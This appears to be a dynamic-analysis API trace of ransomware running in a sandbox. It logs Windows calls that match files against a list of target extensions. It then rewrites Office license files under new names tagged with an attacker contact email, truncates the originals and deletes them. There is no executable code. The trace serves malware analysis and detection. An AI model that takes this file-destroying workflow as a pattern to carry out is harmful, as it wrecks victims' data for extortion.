	[0190.381] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.381] lstrlenW (lpString=".xls") returned 4
	[0190.381] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.381] lstrlenW (lpString=".xlsx") returned 5
	[0190.381] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.381] lstrlenW (lpString=".ppt") returned 4
	[0190.381] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0190.381] lstrlenW (lpString=".zip") returned 4
	[0190.381] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.381] lstrlenW (lpString=".rar") returned 4
	[0190.381] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.381] lstrlenW (lpString=".bz2") returned 4
	[0190.381] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.381] lstrlenW (lpString=".7z") returned 3
	[0190.381] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0190.381] lstrlenW (lpString=".dbf") returned 4
	[0190.381] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0190.381] lstrlenW (lpString=".1cd") returned 4
	[0190.381] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0190.381] lstrlenW (lpString=".jpg") returned 4
	[0190.381] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0190.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0190.382] lstrlenW (lpString=".doc") returned 4
	[0190.382] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.382] lstrlenW (lpString=".docx") returned 5
	[0190.382] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.382] lstrlenW (lpString=".pdf") returned 4
	[0190.382] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.382] lstrlenW (lpString=".xls") returned 4
	[0190.382] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.382] lstrlenW (lpString=".xlsx") returned 5
	[0190.382] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.382] lstrlenW (lpString=".ppt") returned 4
	[0190.382] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0190.382] lstrlenW (lpString=".zip") returned 4
	[0190.382] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.382] lstrlenW (lpString=".rar") returned 4
	[0190.382] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.382] lstrlenW (lpString=".bz2") returned 4
	[0190.382] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.382] lstrlenW (lpString=".7z") returned 3
	[0190.382] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0190.382] lstrlenW (lpString=".dbf") returned 4
	[0190.383] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0190.383] lstrlenW (lpString=".1cd") returned 4
	[0190.383] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0190.383] lstrlenW (lpString=".jpg") returned 4
	[0190.383] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.383] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0190.383] lstrlenW (lpString="AccessR_Retail-ul-oob.xrm-ms") returned 28
	[0190.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.384] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11579) returned 1
	[0190.385] CloseHandle (hObject=0x5c8) returned 1
	[0190.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220
	[0190.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.386] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.386] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0190.387] GetLastError () returned 0x0
	[0190.387] ReadFile (in: hFile=0x5c8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d3b, lpOverlapped=0x0) returned 1
	[0190.389] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0190.391] ReadFile (in: hFile=0x5c8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.391] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0190.391] SetEndOfFile (hFile=0x36c) returned 1
	[0190.391] CloseHandle (hObject=0x36c) returned 1
	[0190.391] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.391] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.395] CloseHandle (hObject=0x5c8) returned 1
	[0190.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 1
	[0190.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0190.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0190.396] lstrlenW (lpString=".doc") returned 4
	[0190.396] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.396] lstrlenW (lpString=".docx") returned 5
	[0190.396] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.396] lstrlenW (lpString=".pdf") returned 4
	[0190.396] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.396] lstrlenW (lpString=".xls") returned 4
	[0190.396] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.396] lstrlenW (lpString=".xlsx") returned 5
	[0190.396] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.396] lstrlenW (lpString=".ppt") returned 4
	[0190.396] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0190.396] lstrlenW (lpString=".zip") returned 4
	[0190.397] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.397] lstrlenW (lpString=".rar") returned 4
	[0190.397] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.397] lstrlenW (lpString=".bz2") returned 4
	[0190.397] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.397] lstrlenW (lpString=".7z") returned 3
	[0190.397] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0190.397] lstrlenW (lpString=".dbf") returned 4
	[0190.397] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0190.397] lstrlenW (lpString=".1cd") returned 4
	[0190.397] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0190.397] lstrlenW (lpString=".jpg") returned 4
	[0190.397] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0190.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0190.397] lstrlenW (lpString=".doc") returned 4
	[0190.397] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.397] lstrlenW (lpString=".docx") returned 5
	[0190.397] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.397] lstrlenW (lpString=".pdf") returned 4
	[0190.397] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.397] lstrlenW (lpString=".xls") returned 4
	[0190.397] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.397] lstrlenW (lpString=".xlsx") returned 5
	[0190.397] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.397] lstrlenW (lpString=".ppt") returned 4
	[0190.398] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0190.398] lstrlenW (lpString=".zip") returned 4
	[0190.398] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.398] lstrlenW (lpString=".rar") returned 4
	[0190.398] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.398] lstrlenW (lpString=".bz2") returned 4
	[0190.398] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.398] lstrlenW (lpString=".7z") returned 3
	[0190.398] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0190.398] lstrlenW (lpString=".dbf") returned 4
	[0190.398] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0190.398] lstrlenW (lpString=".1cd") returned 4
	[0190.398] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0190.398] lstrlenW (lpString=".jpg") returned 4
	[0190.398] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.398] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0190.398] lstrlenW (lpString="AccessR_Retail-ul-phn.xrm-ms") returned 28
	[0190.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.399] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19924) returned 1
	[0190.399] CloseHandle (hObject=0x5c8) returned 1
	[0190.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220
	[0190.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.400] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.400] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0190.401] GetLastError () returned 0x0
	[0190.401] ReadFile (in: hFile=0x5c8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x4dd4, lpOverlapped=0x0) returned 1
	[0190.404] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0190.405] ReadFile (in: hFile=0x5c8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.405] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0190.405] SetEndOfFile (hFile=0x36c) returned 1
	[0190.405] CloseHandle (hObject=0x36c) returned 1
	[0190.405] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.406] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.409] CloseHandle (hObject=0x5c8) returned 1
	[0190.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 1
	[0190.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0190.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0190.410] lstrlenW (lpString=".doc") returned 4
	[0190.410] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.410] lstrlenW (lpString=".docx") returned 5
	[0190.410] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.410] lstrlenW (lpString=".pdf") returned 4
	[0190.410] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.410] lstrlenW (lpString=".xls") returned 4
	[0190.410] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.410] lstrlenW (lpString=".xlsx") returned 5
	[0190.410] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.410] lstrlenW (lpString=".ppt") returned 4
	[0190.410] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0190.411] lstrlenW (lpString=".zip") returned 4
	[0190.411] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.411] lstrlenW (lpString=".rar") returned 4
	[0190.411] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.411] lstrlenW (lpString=".bz2") returned 4
	[0190.411] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.411] lstrlenW (lpString=".7z") returned 3
	[0190.411] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0190.411] lstrlenW (lpString=".dbf") returned 4
	[0190.411] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0190.411] lstrlenW (lpString=".1cd") returned 4
	[0190.411] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0190.411] lstrlenW (lpString=".jpg") returned 4
	[0190.411] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0190.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0190.411] lstrlenW (lpString=".doc") returned 4
	[0190.411] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.411] lstrlenW (lpString=".docx") returned 5
	[0190.411] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.411] lstrlenW (lpString=".pdf") returned 4
	[0190.411] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.411] lstrlenW (lpString=".xls") returned 4
	[0190.412] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.412] lstrlenW (lpString=".xlsx") returned 5
	[0190.412] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.412] lstrlenW (lpString=".ppt") returned 4
	[0190.412] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0190.412] lstrlenW (lpString=".zip") returned 4
	[0190.412] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.676] lstrlenW (lpString=".rar") returned 4
	[0190.676] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.676] lstrlenW (lpString=".bz2") returned 4
	[0190.676] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.676] lstrlenW (lpString=".7z") returned 3
	[0190.676] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0190.676] lstrlenW (lpString=".dbf") returned 4
	[0190.676] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0190.676] lstrlenW (lpString=".1cd") returned 4
	[0190.676] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0190.676] lstrlenW (lpString=".jpg") returned 4
	[0190.676] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.676] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0190.676] lstrlenW (lpString="AccessR_Trial-ul-oob.xrm-ms") returned 27
	[0190.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0190.714] GetFileSizeEx (in: hFile=0x5ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11591) returned 1
	[0190.714] CloseHandle (hObject=0x5ec) returned 1
	[0190.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220
	[0190.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.805] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.805] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.806] GetLastError () returned 0x0
	[0190.807] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d47, lpOverlapped=0x0) returned 1
	[0190.809] WriteFile (in: hFile=0x5c8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0190.810] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.810] WriteFile (in: hFile=0x5c8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0190.810] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.810] CloseHandle (hObject=0x5c8) returned 1
	[0190.810] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.810] SetEndOfFile (hFile=0x580) returned 1
	[0190.813] CloseHandle (hObject=0x580) returned 1
	[0190.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
